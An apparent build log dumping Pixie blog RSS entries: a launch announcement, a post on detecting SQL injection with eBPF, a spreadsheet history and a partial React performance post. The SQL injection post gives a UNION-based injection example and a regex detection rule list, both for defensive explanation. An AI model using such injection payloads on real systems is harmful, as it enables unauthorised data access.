6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>In 2018, we started Pixie to build a magical developer experience to redefine how we explore, monitor, secure, and manage our applications. Today, we’re excited to finally share it with the broader developer community by launching <a href=https://pixielabs.ai/>Pixie Community’s Public Beta</a> along with announcing our Series A investment by Benchmark and GV!</p><p>Pixie Community is a free forever developer tool which gives developers instant application observability. With Pixie, developers don’t need to change code, manually set up ad hoc dashboards or compromise on how much application performance data they can observe.</p><p>At its core, Pixie aims to save developers time. As we moved towards building microservices-based applications on Kubernetes, we grew frustrated by how tedious it was to instrument and analyze performance data. This led us to get heads-down to make three simple ideas real:</p><ul><li><p><strong>No-Instrumentation Data Collection:</strong> Pixie leverages novel technologies like eBPF to automatically collect baseline data (metrics, traces, logs and events) for the application, Kubernetes, OS and network layers. For last-mile custom data, developers can dynamically collect logs using eBPF or ingest existing telemetry.</p></li><li><p><strong>Script-based Analysis:</strong> Developers and operators use Pixie by running community contributed, team specific or custom scripts from Pixie’s native debugging interfaces (web, mobile, terminal) or from integrations with established monitoring platforms. This code-based approach enables efficient analysis, collaboration and automation.</p></li><li><p><strong>Kubernetes Native Edge Compute:</strong> Pixie runs entirely inside Kubernetes as a distributed machine data system without customer data being transferred outside. This novel architecture provides customers a secure, cost-effective and scalable way to access unlimited data, deploy AI/ML models at source and setup streaming telemetry pipelines.</p></li></ul><p>In preparation for today’s launch, we started Pixie’s Private Beta in May to get early community feedback. The response from the community was humbling and fundamental in shaping the Pixie. Today, early “Pixineauts” range from developers in early stage startups to engineering teams building internet scale streaming applications who are all already running Pixie in their production Kubernetes environments.</p><p>Today, we are also announcing our $9.15 million in Series A funding led by Benchmark with participation from GV. This investment will enable us to open up Pixie to the broader community and continue to improve our developer experience. Our goal is to make Pixie not only the most efficient (and fun!) developer tool but also the most extensible. With this investment, we’ll be doubling down in scaling our community efforts to accelerate the democratization of machine data.</p><p>Thank you for all the support to date 🙏 We’re excited to build Pixie for the community and with the community. If you are interested in Pixie’s data superpowers: try Pixie Community's <a href=https://work.withpixie.ai/auth/signup>Public Beta</a>, sign-up for <a href=https://hopin.to/events/pixie-demo-day>Pixie Demo Day</a>, and if you are interested, we’re <a href=https://pixielabs.ai/careers>hiring</a>!</p><div class=image-xs><svg src=aeronaut.svg width=50px></svg></div>'
}

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Detect SQL injections with Pixie',

6:35:43 AM: date: '2021-10-14',

6:35:43 AM: description: 'FYI - The team will demo this SQL injection detection workflow at KubeCon! The demo will be live at KubeCon 2021 Friday, October 15, 11 am…',

6:35:43 AM: url: 'https://blog.px.dev/sql-injection/',

6:35:43 AM: guid: 'https://blog.px.dev/sql-injection/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p><em>FYI - The team will demo this SQL injection detection workflow at KubeCon! The demo will be live at KubeCon 2021 <a href=https://kccncna2021.sched.com/event/lV4c>Friday, October 15, 11 am PDT</a>. The source code for the demo is <a href=https://github.com/pixie-io/pixie-demos/tree/main/sql-injection-demo>available at the Pixie demo repo</a>.</em></p><p><em>This is a guest post by employees of New Relic.</em></p><hr/><p>Think about the possible security vulnerabilities in code that you ship. What keeps you up at night? You’d be wise to answer “SQL injection” -- after all, since 2003 it’s been on the OWASP’s (Open Web Application Security Project) <a href=https://owasp.org/Top10/>top 10 list of CVEs</a> (Common Vulnerabilities and Exposures).</p><p>Imagine you have an endpoint that takes an id query parameter:</p><pre><code>http://example.com.com/api/host?id=1\n' +

6:35:43 AM: '</code></pre><p>The id parameter, it turns out, is not correctly sanitized and it is injectable. A hacker could come along and do something like:</p><pre><code>http://example.com.com/api/host?id=1 UNION SELECT current_user, NULL FROM user\n' +

6:35:43 AM: '</code></pre><p>Which, at the database level would run the following query:</p><pre><code class=language-sql>SELECT name, ip FROM host WHERE id=1 UNION SELECT current_user, NULL FROM user\n' +

6:35:43 AM: '</code></pre><p>Instead of returning the host data that belongs to that id, the endpoint would now return the database username. As you can imagine this could be really bad as the hacker has just exposed a huge vulnerability within this endpoint. Any user using this vulnerability could get any data they wanted out of the database.</p><p>We won’t link to any news stories about devastating hacks; that’s not why we’re here. As developers and security engineers, we believe our job isn’t to scare, but to empower. Pixie is a powerful observability platform, and as security people we saw some unique opportunities to apply Pixie to security use cases. We’re here to show you how you can use Pixie to proactively detect and report SQL injection attempts, while your application is live.</p><p>Compared to traditional WAFs (web application firewalls), and various tools that position themselves as middlemen in your tech stack, Pixie runs within your cluster and hooks into your nodes underlying kernel. Specifically, while traditional firewalls are constrained to viewing only the surface of network traffic, Pixie uses <a href=https://docs.px.dev/about-pixie/pixie-ebpf/>eBPF</a> (extended Berkeley Packet Filter) tracing to offer visibility to the operating system itself. This positions Pixie perfectly to traverse most layers in the OSI (Open Systems Interconnection) model to collect data rather than being pigeonholed into one. In practice, this means we can look at raw HTTP and database requests in the application layer while also peeling back any encryption happening in the presentation layer. To put things bluntly, context is king and Pixie allows us to understand the flow of data at every contextual layer.</p><p>Why detect injection attempts? Why not just block them actively? Because blocking works -- until it doesn’t. No firewall is 100% effective for long; eventually someone determined will find a way through. And when they do, we won’t know about it until the consequences of the attack.</p><p>Compared to blocking, detection can offer more information for the defenders and less information for attackers. For example, say an attacker begins by probing a system with some more obvious injection attempts. These are probably the malicious queries that would be most likely to be known to the firewall and actively blocked. That means that we defenders won’t know about these initial blocked attempts, while the attacker gets a chance to learn the firewall. Now there is an information asymmetry in favor of the attacker. While us defenders continue to have a blind spot because of our blocker, the attacker can try ever more insidious queries until they get past the firewall.</p><p>Detection allows us to observe attacks on our code while our systems are live. What we can observe, we can understand. Understanding is how we will turn the bogeyman of SQL injection into something more like a weed: it’s an inevitable part of growing our code base, and it can be really bad. But if we can observe it, we can nip it in the bud.</p><p>To that end, we made a simple <a href=https://docs.px.dev/reference/pxl/>PxL script</a> that uses Pixie to flag suspicious database queries that appear to be SQL injection attempts.</p><p>This script is a proof of concept of a grander vision. We don’t want to rely on firewalls to be our system’s main defense agent, because firewalls aren’t responsive and context aware to your actual application. We want a tool that flags what we think are injections, but is smart enough to minimize false positives, without blocking. That way we humans have full visibility into attempted attacks, and we have the final say on which events constitute serious attempts.</p><p>At New Relic, we’re really excited to make a security product using Pixie that will realize this vision, a tool that will cover a significant portion of the OWASP Top 10 vulnerabilities.</p><p>In the short term, we’ll be contributing SQL injection detection to the open source Pixie project, as a part of Pixie’s built in SQL parser. We are also extending our proof of concept to Cross Site Scripting (XSS) and Server Side Request Forgery (SSRF) attacks.</p><p>In the mid term, we want to replace our regular expression rule set approach with machine learning detection. The Pixie team has already laid the groundwork for a machine learning approach; we’ll be able to leverage PxL’s <a href=https://blog.tensorflow.org/2021/06/leveraging-machine-learning-pixie.html>existing support of Tensorflow models</a>. In the long term, we are designing an observability-based security product that will run on open-source building blocks.</p><p>Because that long term vision will be some time from now, we’ll leave you with the recipe for our SQL injection proof of concept. You can dig into the source code and test it on a vulernable app with this <a href=https://github.com/pixie-io/pixie-demos/tree/main/sql-injection-demo>demo repo</a>.</p><p>So spin up your development environment and get ready to turn monsters into dandelions.</p><hr/><h2>A PxL script for identifying potential SQL injections</h2><p>The PxL script identifies SQL injections by matching the query against a simple set of regular expressions. Each of these regexes is associated with a particular SQL injection rule. For example, if a query contains a comment (--) then it is flagged as a SQL injection attack and in violation of the comment dash rule, represented as <code>RULE_BROKEN</code> in the data table.\n' +

6:35:43 AM: '<figure class=gatsby-resp-image-figure>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-wrapper style=position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1035px>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-background-image style=padding-bottom:14.671814671814671%;position:relative;bottom:0;left:0;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAj0lEQVQI1zWOUQ7DMAhDe5C2aRJCEki77v6H82SkfSCBwQ9vYwyYGcaYqFUwzfA8H1QRiAjmnJjT0Jqi1grtPfTjOJBzhqjC3NF7D20jUFXhvmJBg5nHnFKKIpQanxFMD6HXdWHPCdJa9Od5Yvsfvu8X9/2EkT1T8qiUgrVu+FqxJ8yZSDtyKdhrjiDUCfwB71tW96btChAAAAAASUVORK5CYII=');background-size:cover;display:block></span>\n' +

6:35:43 AM: ' <img class=gatsby-resp-image-image alt=SQL Injection Table title=SQL Injection Table src=/static/63a857f03686aacf6b0d383e8a9f1984/e3189/sql_injection_table.png srcSet=/static/63a857f03686aacf6b0d383e8a9f1984/a2ead/sql_injection_table.png 259w,/static/63a857f03686aacf6b0d383e8a9f1984/6b9fd/sql_injection_table.png 518w,/static/63a857f03686aacf6b0d383e8a9f1984/e3189/sql_injection_table.png 1035w,/static/63a857f03686aacf6b0d383e8a9f1984/44d59/sql_injection_table.png 1553w,/static/63a857f03686aacf6b0d383e8a9f1984/a6d66/sql_injection_table.png 2070w,/static/63a857f03686aacf6b0d383e8a9f1984/8c76b/sql_injection_table.png 2954w sizes=(max-width: 1035px) 100vw, 1035px style=width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0 loading=lazy decoding=async/>\n' +

6:35:43 AM: ' </span>\n' +

6:35:43 AM: ' <figcaption class=gatsby-resp-image-figcaption>SQL Injection Table</figcaption>\n' +

6:35:43 AM: ' </figure></p><p>Regular expressions are fairly easy to evade in the real world however, attackers usually start with attempts like these to see if vulnerabilities are present. This rule set captures many attacker’s first attempts. If you want to know if someone is probing your system for vulnerabilities before trying something more sophisticated, this might be handy -- which is why we’re planning on building these rules into the Pixie SQL parser.</p><pre><code class=language-python># Rule set to capture some obvious attempts.\n' +

6:35:43 AM: 'SCRIPT_TAG_RULE = "(<|%3C)\\s*[sS][cC][rR][iI][pP][tT]"\n' +

6:35:43 AM: 'COMMENT_DASH_RULE = "--"\n' +

6:35:43 AM: 'COMMENT_SLASH_RULE = "\\/\\*"\n' +

6:35:43 AM: 'SEMICOLON_RULE = ";.+"\n' +

6:35:43 AM: 'UNMATCHED_QUOTES_RULE = "^([^']*'([^']*'[^']*')*[^']*')[^']*'[^']*$"\n' +

6:35:43 AM: 'UNION_RULE = "UNION"\n' +

6:35:43 AM: 'CHAR_CASTING_RULE = "[cC][hH][rR](\\(|%28)"\n' +

6:35:43 AM: 'SYSTEM_CATALOG_ACCESS_RULE = "[fF][rR][oO][mM]\\s+[pP][gG]_"\n' +

6:35:43 AM: '</code></'... 10938 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Tables are Hard, Part 1: History',

6:35:43 AM: date: '2021-11-30',

6:35:43 AM: description: It's just a grid of data, right?\n +

6:35:43 AM: Tables show up everywhere in software, and you probably don't think about them much.\n +

6:35:43 AM: 'Yet modern software…',

6:35:43 AM: url: 'https://blog.px.dev/tables-are-hard-1/',

6:35:43 AM: guid: 'https://blog.px.dev/tables-are-hard-1/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>It's just a grid of data, right?\n' +

6:35:43 AM: 'Tables show up everywhere in software, and you probably don't think about them much.\n' +

6:35:43 AM: 'Yet modern software packs a surprising amount of functionality into them, accumulated over the past half a century.</p><p>In this post, we'll take a high altitude pass over that history.\n' +

6:35:43 AM: 'In later installments, we'll dive into how today's software handles the complex requirements of modern tables.</p><p><em>This article is part of a series</em>:</p><ul><li><strong>Part 1: History</strong></li><li><a href=/tables-are-hard-2>Part 2: Building a Simple Data Table in React</a></li><li><a href=/tables-are-hard-3>Part 3: Streaming Data</a></li></ul><h2>Modern Expectations</h2><p>In a data-heavy web interface, a typical table might be expected to do all of this:</p><ul><li><strong>Fundamental:</strong> Lay out complex data in a grid with consistent dimensions</li><li><strong>Finding data:</strong> Sort, filter, and search that data</li><li><strong>Interactive data:</strong> A cell may contain interactive components such as delete buttons, edit controls, etc.</li><li><strong>Customized:</strong> Users might resize columns, reorder them, or hide them selectively.</li><li><strong>Accessible:</strong> It's a web interface, after all. Mouse, keyboard, touch screens, screen readers, colorblind users, mobile and desktop dimensions, and more to accommodate.</li><li><strong>Streaming:</strong> When the backing data set is huge, it might not be delivered to the browser all at once. Sorting, filtering, searching, and scrolling all must coordinate with the server providing the data to behave as if the full set was there all along. This may even involve virtual scrolling to maintain the illusion, rather than pagination that users can see.</li><li><strong>Performance:</strong> Whether on an old smartphone or a massive display with a high refresh rate, the table needs to respond quickly. Nobody likes scroll jank.</li></ul><p>Each of these features often belies its own pile of complexity. But how did we get this set of features?</p><h2>The First Spreadsheet Software</h2><p>This journey begins in 1978 with the introduction of VisiCalc, the first spreadsheet software<sup id=fnref-1><a href=#fn-1 class=footnote-ref>1</a></sup>.\n' +

6:35:43 AM: 'Stackbit recently published a <a href=https://www.stackbit.com/blog/story-of-visicalc/>fantastic introduction</a>, but to summarize: it was the first software to combine mouse support and editing of individual cell formulae on personal computers.</p><p>This turned out to be a Pretty Big Deal™.</p><p>I had the privilege of chatting with <a href=https://frankston.com>Bob Frankston</a> this week, one of VisiCalc's creators.\n' +

6:35:43 AM: 'He has contributed a great deal since the 1970's, but I wanted to focus on what existed before this project that might have inspired it.\n' +

6:35:43 AM: 'Here's what he had to say (slightly edited for typos and links):</p><blockquote><p>Spreadsheets and accounting existed for hundreds of years.\n' +

6:35:43 AM: 'If you have someone used to working with screens (word processing) and back-of-the-envelope calculations for a class, you can see how it happens.\n' +

6:35:43 AM: 'Did you see <a href=https://www.ted.com/talks/dan_bricklin_meet_the_inventor_of_the_electronic_spreadsheet?language=en>Dan&#x27;s TEDx talk</a> about this?</p><p>I did help program something we called "First Financial Language"<sup id=fnref-2><a href=#fn-2 class=footnote-ref>2</a></sup> at White-Weld in 1966.\n' +

6:35:43 AM: 'You gave it rows and columns, and it intersected the values.\n' +

6:35:43 AM: 'It was designed by <a href=https://en.wikipedia.org/wiki/Butler_Lampson>Butler Lampson</a>.\n' +

6:35:43 AM: 'The major departure for VisiCalc was the idea of editing individual cells and copying the formulas - basically getting rid of the fancy CS concepts.</p><p>The key point is that personal computers were new and were toys so there weren't other implementations.\n' +

6:35:43 AM: 'Even when people copied [VisiCalc], they missed key design points.\n' +

6:35:43 AM: 'Why would a professional do a business app on a toy computer?</p></blockquote><p>In short, we have Dan and Bob to thank for catalyzing the adoption of personal computers.</p><h2>Decades of Features</h2><p>Spreadsheets have had decades to evolve since VisiCalc's first implementation.\n' +

6:35:43 AM: 'Below is an oversimplified selection of some key developments in this space.</p><table><thead><tr><th align=right>Year</th><th align=left>Product</th><th align=left>Significant Contributions</th></tr></thead><tbody><tr><td align=right>1979<br/>(official)</td><td align=left><a href=https://en.wikipedia.org/wiki/VisiCalc>VisiCalc</a></td><td align=left>First spreadsheet software<sup id=fnref-1><a href=#fn-1 class=footnote-ref>1</a></sup> <br/>Mouse support<br/>Scrolling<br/>Formulas (similar to today's)<br/>Automatic formula propagation<br/>Ported many times over the years, including to Apple II</td></tr><tr><td align=right>1980</td><td align=left><a href=https://en.wikipedia.org/wiki/SuperCalc>SuperCalc</a></td><td align=left>First VisiCalc competitor; ported to MS-DOS in 1982<br/>Solved bugs like circular refs that VisiCalc still had</td></tr><tr><td align=right>1982</td><td align=left><a href=https://en.wikipedia.org/wiki/Multiplan>Microsoft Multiplan</a><br/>(Excel's predecessor)</td><td align=left>First to release on many systems, but not MS-DOS</td></tr><tr><td align=right>1983</td><td align=left><a href=https://en.wikipedia.org/wiki/Lotus_1-2-3>Lotus 1-2-3</a></td><td align=left>Took advantage of IBM-PC hardware for much larger data<br/>Graphical charts<br/>Market dominant until Excel outstripped it in the 1990s</td></tr><tr><td align=right>1985</td><td align=left><a href=https://en.wikipedia.org/wiki/Microsoft_Excel#Early_history>Excel</a> 1.0</td><td align=left>Largely similar to Lotus 1-2-3, without charts</td></tr><tr><td align=right>1987</td><td align=left>Excel 2.0</td><td align=left>First spreadsheet that ran on Windows</td></tr><tr><td align=right>1990</td><td align=left>Excel 3.0</td><td align=left>Toolbars, drawing, outlining, 3D charts...</td></tr><tr><td align=right><a href=http://www.barrypearson.co.uk/articles/layout_tables/history.htm>~1994</a></td><td align=left>HTML <code><table></code></td><td align=left>The Mosaic browser existed since 1990, but tables weren't part of the HTML specification until 1994.</td></tr><tr><td align=right>1996</td><td align=left>JavaScript</td><td align=left>Some say it was the fourth horseman of the apocalypse.<br/>It does okay these days powering web apps though.<br/>Around this time, using <code><table></code> for layout became popular.</td></tr><tr><td align=right>1999<br/>(spec)</td><td align=left><a href=https://en.wikipedia.org/wiki/Ajax_(programming)>AJAX</a></td><td align=left>Allowed streaming data instead of reloading the page.<br/>Pagination eventually gave way for virtual scrolling, etc.</td></tr><tr><td align=right>2006</td><td align=left><a href=https://en.wikipedia.org/wiki/Google_Sheets>Google Sheets</a></td><td align=left>Cloud save; collaborative editing; ran in browsers</td></tr><tr><td align=right>Later</td><td align=left>Bootstrap, flexbox, countless JS grid and table libraries</td><td align=left>Mostly reinventing the wheel, but now it's <em>web scale</em>.</td></tr></tbody></table><p>As you can see, modern tables support a variety of features. In the <a href=/tables-are-hard-2>next installment</a>, we'll dive into the technical end: how tables on the web handle these requirements.</p><p><em>Questions? Suggestions? Find us on <a href=https://slackin.px.dev/>Slack</a>, <a href=https://github.com/pixie-io/pixie/blob/main/CONTRIBUTING.md>GitHub</a>, or Twitter at <a href=https://twitter.com/pixie_run>@pixie_run</a>.</em></p><div class=footnotes><hr/><ol><li id=fn-1>Dan Bricklin, one of VisiCalc's creators, has <a href=http://danbricklin.com/firstspreadsheetquestion.htm>written about this status</a>. It depends on how you split hairs.<a href=#fnref-1 class=footnote-backref>↩</a></li><li id=fn-2>Bob talks about his time at White-Weld, among other things, in his 2017 piece <a href=https://rmf.vc/ieeeaboutsoftware?pdf=t>The Stories of Software</a>.<a href=#fnref-2 class=footnote-backref>↩</a></li></ol></div>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Faster React Apps With Memoization',

6:35:43 AM: date: '2021-09-28',

6:35:43 AM: description: 'You have a sluggish React web app on your hands. Why is it slow? How do you fix it?\n' +

6:35:43 AM: React's documentation offers some tips .\n +

6:35:43 AM: 'In this post…',

6:35:43 AM: url: 'https://blog.px.dev/ui-performance/',

6:35:43 AM: guid: 'https://blog.px.dev/ui-performance/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>You have a sluggish React web app on your hands. Why is it slow? How do you fix it?\n' +

6:35:43 AM: 'React's documentation <a href=https://reactjs.org/docs/optimizing-performance.html>offers some tips</a>.\n' +

6:35:43 AM: 'In this post, we'll walk through debugging excessive re-rendering, a common performance problem that surfaced in Pixie's UI.\n' +

6:35:43 AM: 'We'll show how we fixed it, and how we're preventing it from resurfacing.</p><div class=image-xl><figure><video controls= muted= loop= playsinline= width=670><source src=/25502b5e0d3d482812f2c76b7597f6e2/performance-comparison.mp4 type=video/mp4/></video><figcaption>Here, "Highlight Updates When Components Render" is enabled in React DevTools. Each rectangular flash is a component update.</figcaption></figure></div><p><strong>TL;DR</strong>: Most of our React components were re-rendering too often. Memoizing them fixed it.\n' +

6:35:43 AM: 'We used React Dev Tools and Why Did You Render to find the worst offenders, then added an eslint rule to remind us to use more memoization going forward.</p><h2>Profiling With React DevTools</h2><p>To find the problem, we used the official <a href=https://reactjs.org/docs/optimizing-performance.html#profiling-components-with-the-devtools-profiler>React DevTools</a> browser extension.\n' +

6:35:43 AM: 'It can show the full component tree, state, props, and errors.\n' +

6:35:43 AM: 'It can also take a profile of application performance to show which components are rendering, when, why, and how long they take to render.</p><p>Let's use this to profile our UI when it renders charts, tables, and graphs of data that it gets from executing a function upstream.\n' +

6:35:43 AM: 'Opening the Profiler tab in the browser's dev tools, we start a profile, trigger the problematic action in the UI, and stop the profile.\n' +

6:35:43 AM: 'After it finishes processing, we find the moment we care about:</p><div class=image-xl><figure>\n' +

6:35:43 AM: ' <figure class=gatsby-resp-image-figure>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-wrapper style=position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1035px>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-background-image style=padding-bottom:71.42857142857143%;position:relative;bottom:0;left:0;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAADC0lEQVQ4y23S7VMTVxTHcf4XyO4mu9mH7OZxk5AQTVJrk0AtKE4HpwgERQcChjJUrBAakgikJEBpoSNCK0KnnXH6/307uxXF0Rd37nlx72fOOfPr8WkhZCNCPHOT1MANEsksdixNLJYmEuknnsiSH8jyRSbP0DfDFIslBksFCqUSA4kUoVAcKxSnT1LxSBo9omzh08PcWl1ktL3Kvc465f0mUwdtxvYaTJ50mDzpMvmqw8PTDjOnHR6+2mHm4oDC/GOyqTw3sjcxLRtZCzugiaRYJJ/OcW13jexBncJZl9JZh9LrjnsPnu8y9Nc+pYs9Sud7FN90ufXvEenqI0RBQzNtjGAcnxqix8FEX4D4XJlct0a4u0mmU8faqqNsNvH/vIV++AvGy0MCp8eYr08w/zjG+ucCfaGK6FERZBPBF8Bp7n9QMtAelLF2NzG2m6jNDdLtGoluA3urRqJTJ/OyS/bNIbnzI7Jnv5F/e4JdrSB6NCR/0J3SOT2iYuEVNZTyNPbuC5LrK0R+XCbUWCX6a4ev2s8Ybi9xbW+Dke4KY/s/MHbwjAd/b1OslvG4oPUBdHSxz49/ZBRjaZFQoUhs6j5as4690yLWWEVqNfG1GnjXnLqBb6uFenyEOltBElTEqx06uqdPxRoqkZwt4/MH0UtfY7Z+IthYJ/Z8GavdwNzewGytE9hpYbRfYP15jFVdRBI0xI87tNzFKl8WMKYmENUQethGfzKPubRI/rth7j4dZ6H2LXeX73P7+TSV35+w9naFcm0G0etA5hVQsRAEDf16jsjEPSSv4Y4hVyoos3OoPo1owiaa7iccjxOM2QxO3mH2+2lGxkaRZIvL6L0HRVHDm84hj0+4uRJEneD8Y8yFCp5eBY9s4fGaeLwBBNlC1qIEwhmiibwb5s+DmTzKVNmtBY9K5FGZ8MQ4Qq8fSf2wdPe9bNIrqgSjKRQ94mbwY1DSURIZrNt3ECQdQTII5PIEkim3vgpd1g4Sig18Bny3A69soTgRevdJ9BqI3sB7SLyy+EvQDPd/MvJ/OtEQCVAm+iQAAAAASUVORK5CYII=');background-size:cover;display:block></span>\n' +

6:35:43 AM: ' <img class=gatsby-resp-image-image alt=Open the dev tools, go to the new Profiler tab, and click the record icon in the top left. title=Open the dev tools, go to the new Profiler tab, and click the record icon in the top left. src=/static/ef7f265d39c696da67833ae3f8250739/e3189/before-unfocused-profile.png srcSet=/static/ef7f265d39c696da67833ae3f8250739/a2ead/before-unfocused-profile.png 259w,/static/ef7f265d39c696da67833ae3f8250739/6b9fd/before-unfocused-profile.png 518w,/static/ef7f265d39c696da67833ae3f8250739/e3189/before-unfocused-profile.png 1035w,/static/ef7f265d39c696da67833ae3f8250739/44d59/before-unfocused-profile.png 1553w,/static/ef7f265d39c696da67833ae3f8250739/a6d66/before-unfocused-profile.png 2070w,/static/ef7f265d39c696da67833ae3f8250739/57dee/before-unfocused-profile.png 3004w sizes=(max-width: 1035px) 100vw, 1035px style=width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0 loading=lazy decoding=async/>\n' +

6:35:43 AM: ' </span>\n' +

6:35:43 AM: ' <figcaption class=gatsby-resp-image-figcaption>Open the dev tools, go to the new Profiler tab, and click the record icon in the top left.</figcaption>\n' +

6:35:43 AM: ' </figure></figure></div><p>...ouch. This profile shows us that almost the entire app updated! Each bar represents a React component in a given React render. Color indicates activity:</p><ul><li><strong>Gray components</strong> didn't render</li><li><strong>Teal components</strong> rendered quickly</li><li><strong>Yellow components</strong> rendered slowly</li></ul><p>Generic toolbars shouldn't care what's happening in data tables elsewhere on the page.\n' +

6:35:43 AM: 'Likewise, dropdowns don't need to update while they're closed.\n' +

6:35:43 AM: 'So why did they update? Let's focus on the toolbars first:</p><div class=image-xl><figure>\n' +

6:35:43 AM: ' <figure class=gatsby-resp-image-figure>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-wrapper style=position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1035px>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-background-image style=padding-bottom:71.42857142857143%;position:relative;bottom:0;left:0;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAAC10lEQVQ4y32ReU8bVxRH/VWiYo9n82yexePB4MErgqLQLBRIanBxSROD2oBBIUoX0VJjMA6uiRukpiqNWlVRv+KpbJYWUvWPo/d0dXXe794XsZwMdnoCb6yE64eYyTS66WNY55h2gJMaw/JDMlMfki6UGC0USBXLWH4GXbPRDQ9B1ImJGpHg3h3CygPy1QqFWpVCbXlI/oLcyhL5laWremFlmWKtytRqlfL9u0xV6tiLdW6V5hkpzRNxlxZJrVYI6jXGNp5ckdtcJ99Yp7B1fmY362Q3nhA26kw8fUy4vUZq6SHZbAkryBNVHQTNI5Lbeszk0VfM9HaZfXPIR2+73Dk7Zu7smI/Puoz32jhHB7j9Y1K/vCb/3TPKrWdM9vfIba9RzBZx0yHRuE5ctogk5uYwe4dY7e9xXx0R/P6G4N0ZqT9/JfjrN+yTNuL+Hkqnhd7votbrqAc/IP3YQdnYxDJ9FCOFIFvElSQRZ/Y2TqeF0m5hvD7B/OMto70DJvtNyt82mNhew+u2SLZb6L2XGJ8sEw7W09/H31gjJhrELmQDaUSSTLL3F9EOm2jtJubpCfrWFs7CPFowTnJ2lnB3h8ztexQbX+BMT6PIJsHec7zNdeLSueySSEyykA2H3Ndfku98w+TpPtmnn6O5PpJsonijaA8rSKKBZXnEB4lUG/uoifvi+bAu/FsYV20EQUP/bAW32yR1+hLz0SqxW/JwFNEOsBYWiIkmMXkwVhJRTTJ2d4ZyrYokWTeESpJY3MCZmSY8eEH+pyZebZnoSILBY2LCRre9q6UPkZOMRBN4/jiy7iFI5nWhMPjyTA65uYf6qov8aQ1hRB0KB6KY9M/SL8UxycROhSi6N7y/JxSzBRKdFtrPfZTVRwgfKEPhZeO1hJdCP/s/wkye9E6D3O4O2oMKQlS9JrxJVDRw/P9KKF+8LltomoeecFET7nuJbjKQWO4Ysna992/OfwEJqAhYJgAAAABJRU5ErkJggg==');background-size:cover;display:block></span>\n' +

6:35:43 AM: ' <img class=gatsby-resp-image-image alt=The Nav component updated, but nothing about it should have changed. title=The Nav component updated, but nothing about it should have changed. src=/static/a8b91ba46d07eb5504b3869d4dff433c/e3189/before-focus-profile.png srcSet=/static/a8b91ba46d07eb5504b3869d4dff433c/a2ead/before-focus-profile.png 259w,/static/a8b91ba46d07eb5504b3869d4dff433c/6b9fd/before-focus-profile.png 518w,/static/a8b91ba46d07eb5504b3869d4dff433c/e3189/before-focus-profile.png 1035w,/static/a8b91ba46d07eb5504b3869d4dff433c/44d59/before-focus-profile.png 1553w,/static/a8b91ba46d07eb5504b3869d4dff433c/a6d66/before-focus-profile.png 2070w,/static/a8b91ba46d07eb5504b3869d4dff433c/57dee/before-focus-profile.png 3004w sizes=(max-width: 1035px) 100vw, 1035px style=width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0 loading=lazy decoding=async/>\n' +

6:35:43 AM: ' </span>\n' +

